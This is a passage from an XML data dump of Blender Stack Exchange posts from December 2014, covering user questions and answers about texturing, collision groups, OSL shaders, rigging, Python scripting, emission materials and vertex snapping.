OwnerDisplayName="user7952" LastActivityDate="2014-12-13T17:03:28.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20871" PostTypeId="1" CreationDate="2014-12-13T17:04:28.030" Score="0" ViewCount="1098" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sg4oo.png&quot; alt=&quot;screen shot texturing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am texturing using two different images.  The first one for the cats head worked fine but when I come to use a new image for the cat's body, blender keeps using the first image. See below.  On the left the eyes from the first image appear on the side of the body. can anyone suggest a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="9487" LastActivityDate="2014-12-13T17:04:28.030" Title="wrong image texture keeps being applied" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20872" PostTypeId="2" ParentId="20869" CreationDate="2014-12-13T17:06:21.277" Score="4" Body="&lt;p&gt;Collision groups are the correct way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your &quot;bad guys'&quot; collision group and collision mask up like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Y6MQ0.png&quot; alt=&quot;collision group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the &quot;good guy&quot; up like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GfTdj.png&quot; alt=&quot;collision group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here is why. The Collision group is conceptually assigning a number to the object say 1-8. Your good guy has collision group one. The Collision Mask is what number collision group it can collide with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So looking at your bad guy, it can only collide with other objects that are assigned to collision group 1. Itself is set to collision group two so it will not hit other bad guys. Your good guy is set to collision group one, and it can collides with all groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33324&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt; with bge collision demo.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-13T17:15:13.547" LastActivityDate="2014-12-13T17:15:13.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20873" PostTypeId="2" ParentId="19633" CreationDate="2014-12-13T17:36:10.920" Score="0" Body="&lt;p&gt;A better way would be not to use the leaves created by the sapling add-on. Instead create a leave and set the origin to the end of the stem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DIjH3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weight paint allows also to control where the hair particles should appear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PV9Pp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particle settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JtnUH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-13T17:36:10.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20874" PostTypeId="1" AcceptedAnswerId="20876" CreationDate="2014-12-13T17:53:14.317" Score="8" ViewCount="2003" Body="&lt;p&gt;I don't understand what is wrong with this shader&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader simple_material(&#xA;    color Diffuse_Color = color(0.6, 0.8, 0.6),&#xA;    float Noise_Factor = 0.1,&#xA;    normal Normal = N,&#xA;    output closure color BSDF = diffuse_toon(normalize(Normal),1.1,0.0)&#xA;    )&#xA;{&#xA;   color material_color = Diffuse_Color * mix(1.0, noise(P * 10.0), Noise_Factor);&#xA;   BSDF = material_color * diffuse_toon(normalize(Normal),1.1,0.0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sbDtZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm doing wrong and why the output is black ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked and re-checked everything but still I don't think there is something obviously wrong with this .&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2014-12-13T18:10:33.373" Title="What is wrong with this OSL shader?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20875" PostTypeId="1" AcceptedAnswerId="20880" CreationDate="2014-12-13T17:57:33.613" Score="3" ViewCount="646" Body="&lt;p&gt;Some of the trees leaves have issues with transparency, why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1j5oa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1j5oa.png&quot; alt=&quot;render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7M1Zm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7M1Zm.png&quot; alt=&quot;material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image (by Krzysztof P. Jasiutowicz, &lt;a href=&quot;http://commons.wikimedia.org/wiki/File:Lisc_lipy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ItGbh.jpg&quot; alt=&quot;leaf texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="2217" LastEditDate="2014-12-13T20:07:07.913" LastActivityDate="2015-10-27T03:34:27.080" Title="Why does the material show 'unexpected' transparency effects?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;particles&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20876" PostTypeId="2" ParentId="20874" CreationDate="2014-12-13T18:10:33.373" Score="8" Body="&lt;p&gt;It seems that you missed one of the following settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b6uen.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Diffuse color of you OSL input node&lt;/li&gt;&#xA;&lt;li&gt;Tick Open Shading Language in the render settings&lt;/li&gt;&#xA;&lt;li&gt;Set Render device to CPU (GPU can't handle script nodes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-13T18:10:33.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20877" PostTypeId="1" CreationDate="2014-12-13T19:05:47.080" Score="4" ViewCount="1354" Body="&lt;p&gt;The human face is very organic and when using a normal map, things with animation get a little tricky. I’m trying to animate a blink with an eye where this wrinkles appear on the face as the eye closes. Not just the eye, but this wrinkles are needed for other expressions as well. Something like this example - &lt;a href=&quot;https://www.youtube.com/watch?v=mc7ADD4b8_0&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=mc7ADD4b8_0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how this so called &quot;animated normal maps&quot; can be accomplished with Blender, because in the UV's I know to work only with still images?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-12-13T19:27:30.973" LastActivityDate="2020-03-12T06:59:26.497" Title="Animating facial expressions when using a Normal map" Tags="&lt;animation&gt;&lt;uv&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20878" PostTypeId="1" AcceptedAnswerId="20883" CreationDate="2014-12-13T19:55:20.950" Score="3" ViewCount="2947" Body="&lt;p&gt;I get the &quot;bone heat weighting failed: could not find solution for one or more bones&quot; whenever I try to parent the armature to my bow mesh with automatic weights. I already tried different things including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Removing Doubles&lt;/li&gt;&#xA;&lt;li&gt;Recalculating Normals&lt;/li&gt;&#xA;&lt;li&gt;Removing all Vertex Groups&lt;/li&gt;&#xA;&lt;li&gt;Adding the Decimate modifier&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can't find out what's causing the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://drive.google.com/file/d/0B4IBaPLW2b2iZ29IcG1xLWJsdzg/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;.blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this and how to I fix it?&lt;/p&gt;&#xA;" OwnerUserId="9489" LastEditorUserId="2217" LastEditDate="2014-12-13T20:10:35.397" LastActivityDate="2014-12-13T22:25:06.067" Title="Automatic weight paint error when trying to rig a bow" Tags="&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20879" PostTypeId="2" ParentId="20877" CreationDate="2014-12-13T20:00:13.557" Score="6" Body="&lt;p&gt;You can first create multiple normal maps with wrinkles at different locations(for example one map each for the eyes/mouth/etc.) and then you can simply blend them over one another using using an  mix rgb node. Then you can add a driver to the mix factor and let for example the eye bone rotation drive the wrinkle strength. &lt;img src=&quot;https://i.stack.imgur.com/GxkZq.png&quot; alt=&quot;Material Driver&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8364" LastActivityDate="2014-12-13T20:00:13.557" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20880" PostTypeId="2" ParentId="20875" CreationDate="2014-12-13T20:05:25.107" Score="6" Body="&lt;p&gt;For this particular problem it seams like your shader, and image's alpha are not the problem, but rather z-fighting. When there are doubled up faces with transparency  the z-fighting will not have the characteristic &lt;a href=&quot;https://blender.stackexchange.com/q/21/2217&quot;&gt;black look&lt;/a&gt;, but rather strange transparency artifacts (much like your render).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the doubled faces, check your particle settings to see if there any duplicated leaves. If there are more particles then places to emit them, then they will get doubled up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a cube with 8 vertices, the particle system number for both is set to 32. The only difference in the two is for cube on the right I gave the particles some randomness.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SDM5Y.png&quot; alt=&quot;particle settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-10-27T03:34:27.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20881" PostTypeId="2" ParentId="20875" CreationDate="2014-12-13T20:13:07.957" Score="4" Body="&lt;p&gt;It seems like the problem is that the Alpha channel of your image is not 1; This leads to some translucency sneaking through where it shouldn't. To fix this, you can use many methods, but, probably the best is to use a Brightness/Contrast node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jJ5Uz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you put that node between your image's alpha and the Mix node, and set the contrast to a rather big value, such as five, the problem should be fixed.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-12-13T20:13:07.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20882" PostTypeId="1" CreationDate="2014-12-13T21:46:18.573" Score="4" ViewCount="253" Body="&lt;p&gt;I have made a basic cardboard box model, and I'm trying to use bones for control/as a hinge.&#xA;is there a way to make other objects push on the flaps controlled by a bone or must I animate this effect manually?(i.e. dropping a bowling ball onto a close box and having it move th flaps out of the way on the way down)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iuwDw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3743" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-14T15:59:35.373" Title="other objects push on bone controlled surface?" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20883" PostTypeId="2" ParentId="20878" CreationDate="2014-12-13T22:25:06.067" Score="2" Body="&lt;p&gt;This warning usually appears when there is a bone that doesn't have anything near it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bone that is supposed to pull the string is the likely culprit.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest applying with &lt;em&gt;envelope weights&lt;/em&gt;, (which I was able to do after ridding myself of the pesky draw bone) and getting on your thinking shoes for some intensive weight painting time. Sometimes you just need to weight paint because the computer's automatic isn't 'human' enough. This can take &lt;em&gt;forever&lt;/em&gt;, so don't do it before a mid-day appointment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your string is just kinda stuck into the bow; you might want to separate it from the bows shaft and then join them using a &lt;strong&gt;boolean&lt;/strong&gt; modifier set to union.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-13T22:25:06.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20884" PostTypeId="1" AcceptedAnswerId="20885" CreationDate="2014-12-14T00:20:47.057" Score="6" ViewCount="2458" Body="&lt;p&gt;Get &lt;strong&gt;π&lt;/strong&gt; in python scripted expression for a driver?&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-12-14T00:26:03.633" Title="Get π in python scripted expression for a driver?" Tags="&lt;python&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20885" PostTypeId="2" ParentId="20884" CreationDate="2014-12-14T00:25:33.247" Score="9" Body="&lt;p&gt;&lt;code&gt;pi&lt;/code&gt; or &lt;code&gt;radians(180)&lt;/code&gt; should do the trick.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="3127" LastEditDate="2014-12-14T00:26:03.633" LastActivityDate="2014-12-14T00:26:03.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20886" PostTypeId="1" AcceptedAnswerId="20926" CreationDate="2014-12-14T00:26:43.307" Score="4" ViewCount="316" Body="&lt;p&gt;I have a slow computer, and I have an animation of 4400 frames. If I render all at once, it would crash. So I made this Python script to try to help me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#START OF SCRIPT&#xA;&#xA;import bpy&#xA;import time&#xA;&#xA;wait = time.sleep&#xA;start = 0&#xA;end = 4400&#xA;increment = 10&#xA;&#xA;current = start&#xA;&#xA;for i in range(start,end + increment,increment):&#xA;&#xA;    wait(2)&#xA;&#xA;    current = i&#xA;&#xA;    bpy.data.scenes[&quot;Scene&quot;].frame_start = current + 1&#xA;    bpy.data.scenes[&quot;Scene&quot;].frame_end = current + increment&#xA;    bpy.ops.render.render(animation=True)&#xA;#END OF SCRIPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get all of the pieces of the animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/qBBKrWN.png&quot; alt=&quot;Animation Pieces&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try to stitch it together like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/QzzSAUO.png&quot; alt=&quot;Stitch&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just doesn't line up. The audio and video are clipped in-between, and the amount of audio frames just doesn't line up with the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I do something wrong with the script? The stitching? The animation? Please help soon, as I am trying to make this as a Christmas present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the steps I took: &lt;a href=&quot;https://www.youtube.com/embed/VVY6C2K_1wM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/embed/VVY6C2K_1wM&lt;/a&gt;&#xA;Here is the file: &lt;a href=&quot;http://www.pasteall.org/blend/33331&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33331&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user8158" LastEditorDisplayName="user8158" LastEditDate="2014-12-14T21:56:11.983" LastActivityDate="2014-12-15T03:16:30.933" Title="How come when I render my animation, the audio is clipped when I stitch together the pieces?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;&lt;video-sequence-editor&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="20887" PostTypeId="1" AcceptedAnswerId="20888" CreationDate="2014-12-14T00:39:13.353" Score="5" ViewCount="864" Body="&lt;p&gt;When modifying/accessing a mesh in Python, changes made while in edit-mode by the user are not available to Python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.data.vertices[x].select&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, doesn't change for any vertex  until I (for example) switch from edit to object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way a way to access the current state of the mesh?&lt;/p&gt;&#xA;" OwnerUserId="4958" LastEditorUserId="55" LastEditDate="2014-12-14T01:39:54.030" LastActivityDate="2014-12-14T10:44:25.410" Title="Mesh gets out of sync while in edit-mode (Python)" Tags="&lt;editing&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20888" PostTypeId="2" ParentId="20887" CreationDate="2014-12-14T00:47:59.810" Score="4" Body="&lt;p&gt;In edit-mode, the mesh as defined by &lt;code&gt;bpy.types.Mesh&lt;/code&gt; is not used, there is in fact a different mesh-representation being used (&lt;code&gt;bmesh.types.BMesh&lt;/code&gt;), which supports editing operations and modifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So changes to &lt;code&gt;bpy.context.object.data&lt;/code&gt; are not displayed, and they will be overwritten when exiting editmode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you have to access the BMesh.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;# Get a BMesh representation&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have a bmesh from the edit-mesh, you are directly accessing the same data which the user is manipulating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the full example, see:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Text Editor -&gt; Templates -&gt; Python -&gt; BMesh Simple Editmode&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See BMesh API docs:&#xA;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/bmesh.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_72_release/bmesh.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-12-14T10:44:25.410" LastActivityDate="2014-12-14T10:44:25.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20889" PostTypeId="1" AcceptedAnswerId="20890" CreationDate="2014-12-14T01:46:32.757" Score="2" ViewCount="40329" Body="&lt;p&gt;Im currently trying to create a light source from a mesh plane, and a tuturiol explains that i need to add a material and then select surface&gt;emission&gt;strenght 10. I can't seem to find a way to edit surface in 2.72b&lt;/p&gt;&#xA;" OwnerUserId="9494" LastActivityDate="2016-11-30T13:32:16.500" Title="Where is the surface emission for materials to create a light source from a plane?" Tags="&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20890" PostTypeId="2" ParentId="20889" CreationDate="2014-12-14T02:01:49.030" Score="8" Body="&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the render engine to cycles&lt;/li&gt;&#xA;&lt;li&gt;Go into the node editor&lt;/li&gt;&#xA;&lt;li&gt;Check &lt;em&gt;Use Nodes&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Delete the &lt;em&gt;Diffuse Node&lt;/em&gt; &lt;kbd&gt;X&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;em&gt;Click images for larger versions&lt;/em&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cDkYl.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cDkYl.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the render engine to cycles&lt;/li&gt;&#xA;&lt;li&gt;Go into the &lt;em&gt;materials panel&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;em&gt;Use Nodes&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;em&gt;Surface&lt;/em&gt; to Emission&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1jadK.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1jadK.gif&quot; alt=&quot;enter image description here&quot; /&gt; &lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Internal:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check that you're using internal&lt;/li&gt;&#xA;&lt;li&gt;Go into the &lt;em&gt;materials panel&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the emit value&lt;/li&gt;&#xA;&lt;li&gt;Check shadeless (to look like cycles)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5ozJK.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ozJK.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-11-30T13:32:16.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20891" PostTypeId="1" CreationDate="2014-12-14T02:08:06.860" Score="6" ViewCount="4466" Body="&lt;p&gt;I have a sword handle and I want it centered below a completely differently object that has a face on the bottom with a vertex in the middle. I could also snap a central vertex to the other one but I don't know how. How can i do this?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="2217" LastEditDate="2014-12-14T22:23:26.887" LastActivityDate="2019-11-29T07:19:23.870" Title="How to snap the center of a face to another face?" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20892" PostTypeId="2" ParentId="20891" CreationDate="2014-12-14T02:20:38.063" Score="9" Body="&lt;p&gt;You can use &lt;strong&gt;Vertex Snapping&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rlVyT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable it by clicking on the magnet icon or If you wan't to use it temporarily, hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend setting the second option to active:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wsYwS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use it by moving your object in edit mode &lt;kbd&gt;Tab&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/abMsI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-12-14T02:20:38.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20893" PostTypeId="1" CreationDate="2014-12-14T02:48:03.780" Score="0" ViewCount="143" Body="&lt;p&gt;The following image is my failed attempt to make a sword handle's surface meet the blade's bottom. How can I snap the blade's bottom to the handle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ez68X.png&quot; alt=&quot;vertex snapping&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="2217" LastEditDate="2014-12-14T22:21:54.263" LastActivityDate="2014-12-14T22:21:54.263" Title="How to get vertex snapping to snap to one vertex" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="2" ClosedDate="2014-12-15T05:13:54.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="20894" PostTypeId="1" CreationDate="2014-12-14T03:35:17.347" Score="1" ViewCount="1926" Body="&lt;p&gt;After several months of casual research on three.js as I worked on a model in Blender 2.7 I have yet to locate a method for exporting the blender particle system hair? By chance would anyone have any ideas how would I go about achieving this feat, would I need to perhaps export to OBJ or some other format? I have yet to see any three.js imported particle systems from any 3d system?..Any ideas would greatly appreciated !!&lt;/p&gt;&#xA;" OwnerUserId="3313" LastActivityDate="2015-01-13T20:22:19.740" Title="Export Blender Particle System Hair To Three.Js" Tags="&lt;mesh&gt;&lt;export&gt;&lt;particles&gt;&lt;physics&gt;&lt;three.js&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20895" PostTypeId="1" CreationDate="2014-12-14T04:03:53.197" Score="0" ViewCount="209" Body="&lt;p&gt;Im trying to get them to not overlap, but be snapped together. the center of the one i move snaps to the vertex of the idle one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AIqpe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorDisplayName="user1853" LastEditDate="2014-12-15T04:30:20.297" LastActivityDate="2014-12-15T04:30:20.297" Title="Snap vertices without overlapping" Tags="&lt;snapping&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-15T05:14:05.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="20896" PostTypeId="2" ParentId="20891" CreationDate="2014-12-14T04:03:56.593" Score="8" Body="&lt;p&gt;You can use a helper object as the target location agent:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the target face you want to snap to, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; -&gt; &lt;em&gt;Hook to New Object&lt;/em&gt;, which will create a new empty object at the face center;&lt;/li&gt;&#xA;&lt;li&gt;select the target part and keep the target face active, be sure to use &lt;strong&gt;Acive Element&lt;/strong&gt; as Pivot point;&lt;/li&gt;&#xA;&lt;li&gt;Turn on Snap tool, set &lt;em&gt;Target Element&lt;/em&gt; to &lt;strong&gt;Vertex&lt;/strong&gt;, and &lt;em&gt;Snap Target&lt;/em&gt; to &lt;strong&gt;Active&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;G&lt;/kbd&gt; to move the selected part towards empty, &lt;kbd&gt;Enter&lt;/kbd&gt; when it was successfully snapped as expected.&lt;/li&gt;&#xA;&lt;li&gt;Switch to &lt;strong&gt;Object&lt;/strong&gt; mode, delete the empty, as well as the new created &lt;strong&gt;Hook&lt;/strong&gt; modifier.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As shown in the GIF below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M8BBH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When creating the agent object, you can also do it by first &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;to snap 3D Cursor to the face, then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Empty. No Hook modifier will be created that way.&lt;/li&gt;&#xA;&lt;li&gt;When snapping, you may want to turn off the &lt;strong&gt;Limit Selection to 